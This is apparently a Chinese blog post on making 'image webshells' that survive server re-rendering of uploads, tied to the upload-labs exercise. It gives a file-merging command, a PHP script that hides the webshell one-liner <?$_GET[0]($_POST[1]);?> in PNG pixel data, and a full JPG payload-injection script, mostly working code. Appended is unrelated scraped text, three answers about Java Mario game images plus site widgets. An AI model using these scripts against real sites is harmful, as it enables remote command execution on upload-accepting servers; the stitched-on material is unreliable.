制作绕过二次渲染的图片马

前言

图片马的三种常用图像格式gif,png,jpg。这里提供三种图片马绕过二次渲染的方法。

一、简单的图片马的制作

准备一张图片(1.jpg),写好一句话木马的文件(1.php)
将1.jpg和1.php放在同一目录下,在该目录下打开cmd命令提示符(也可以打开powershell,然后输入车cmd实现),之后执行命令:

	copy 1.jpg/b + 1.php/a 2.jpg

新生成的2.jpg就是我们制作好的图片马了。
另注: 这类命令还有很多用处,比如将压缩包伪装成图片:

copy/b 1.jpg/b+1.rar/b 2.jpg

b指代的是二进制

二、图片马二次渲染绕过

1、gif图片

对于gif图片,gif图片的特点是无损(修改图片后,图片质量几乎没有损失),我们可以对比上传前后图片的内容字节,在渲染后不会被修改的部分插入木马。对比工具可以使用burp,也可以使用010编辑器(更直观一点)

2、png图片

对于png图片,修改难度大一点,这里提供一个无名大表哥的脚本来生成,原理是通过真实像素的二进制解析写入数据段。脚本如下:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

运行脚本即可生成,这里的一句话木马是:

<?$_GET[0]($_POST[1]);?>

使用方式是get传参0=。。。
加上post传参1=。。。

3、jpg图片

直接上脚本,由于jpg图片易损,对图片的选取有很大关系,很容易制作失败

<?php
    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

运行脚本命令:

jpg_payload.php 1.jpg

本文脚本来源于https://www.fujieace.com/penetration-test/upload-labs-pass-16.html,可以去看看详细

  • 7
    点赞
  • 37
    收藏
    觉得还不错? 一键收藏
  • 8
    评论
### 回答1: Java里奥游戏图片素材是用于开发基于Java语言编写的里奥游戏的原始图像资源。里奥游戏是一款经典的平台跳跃游戏,具有丰富多样的游戏场景、角色和道具。而图片素材则是这款游戏中所需的各种图像元素,包括背景图、人物形象、敌人和障碍物、道具物品等等。 通过使用Java里奥游戏图片素材,开发者可以方便地构建整个游戏的画面效果,使游戏更加生动、有趣。这些素材通常以图片文件的形式存在,可以通过加载和绘制来实现在游戏画面中的显示。 有了丰富多样的图片素材,开发者可以设计出各种不同的游戏场景,例如大陆、森林、城市等等,每个场景都可以有不同的背景图和障碍物元素。此外,还可以绘制出里奥和敌人的角色形象,以及各种道具物品,例如蘑菇、金币和火花等,丰富游戏的玩法和体验。 在游戏开发中,使用图片素材可以大大提升开发效率,减少开发者绘制图像的工作量。此外,Java的图形库提供了丰富的绘制函数和工具,能够方便地实现图片的加载、缩放、旋转等操作,为游戏的视觉效果增添更多的可能性。 总之,Java里奥游戏图片素材是为开发基于Java语言编写的里奥游戏所准备的图像资源,通过使用这些素材,可以方便地打造出丰富多样的游戏画面,提升游戏的视觉效果和玩家的游戏体验。 ### 回答2: Java里奥游戏图片素材是指在Java编程语言中使用的用于设计和展示里奥游戏的图像元素。这些素材通常用于游戏中的角色、背景、道具、敌人等各种元素的绘制和展示。在开发Java里奥游戏时,使用图像素材可以增加游戏的趣味性和可玩性。 Java里奥游戏图片素材可以包括不同种类的图像,比如里奥和他的朋友、敌人和怪物,各种背景场景,以及与游戏情节相关的各种游戏道具和装备。这些素材通常由游戏开发者绘制或者从其他资源中获取,并经过处理和优化后嵌入到游戏中。 为了实现游戏的画面效果,Java里奥游戏图片素材常常需要具备一定的绘画技术和美术设计能力。游戏开发者可以使用各种绘图工具和软件来创建和编辑图片素材,比如Photoshop、Illustrator等。同时,还可以从网络上获得一些免费或付费的图像素材库,这些库中包含了大量的游戏图像素材,可以帮助开发者更快速地构建游戏。 总结来说,Java里奥游戏图片素材是Java游戏开发中用于展示和设计游戏画面的图像元素。它们丰富了游戏的视觉效果,增加了游戏的趣味性和可玩性,需要游戏开发者具备一定的绘画技术和美术设计能力,同时也可以通过购买或下载免费图像素材库来获取所需的素材。 ### 回答3: Java里奥游戏图片素材可以通过多种方式获取和使用。 首先,可以通过搜索引擎在互联网上找到各种类型的游戏素材网站。这些网站通常提供大量的里奥游戏相关的图片素材,包括里奥的角色、场景、道具等。可以根据需要选择和下载合适的素材,并根据需要进行编辑和修改。 此外,也可以考虑使用图像处理软件或设计工具来自己创作里奥游戏图片素材。例如,使用Photoshop、Illustrator等软件可以绘制、编辑和导出不同格式的里奥游戏图片。这样可以更好地满足个性化需求,制作出独特而精美的游戏素材。 在使用Java开发里奥游戏时,可以使用各种图像处理库和框架来加载和显示图片素材。例如,Java提供了自带的`javax.imageio`包,可以通过`ImageIO`类加载图片,并将其转换为`BufferedImage`对象。然后可以使用`Graphics2D`类对图片进行进一步处理,例如缩放、旋转、绘制等操作。 最后,在将图片素材添加到Java里奥游戏中时,可以使用各种方法来实现图片的绘制和动画效果。例如,可以使用`JPanel`类创建游戏场景,并在`paintComponent`方法中通过`Graphics`对象绘制图像。还可以使用定时器或线程来实现图像的动画效果,例如改变图片的位置、大小、透明度等属性。 总之,获取和使用Java里奥游戏图片素材的方式多种多样,可以通过互联网下载现成的素材,也可以使用图像处理软件自己创作。在使用Java开发游戏时,可以利用相关库和框架加载、显示和处理图片素材,以实现更好的视觉效果和动画效果。
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值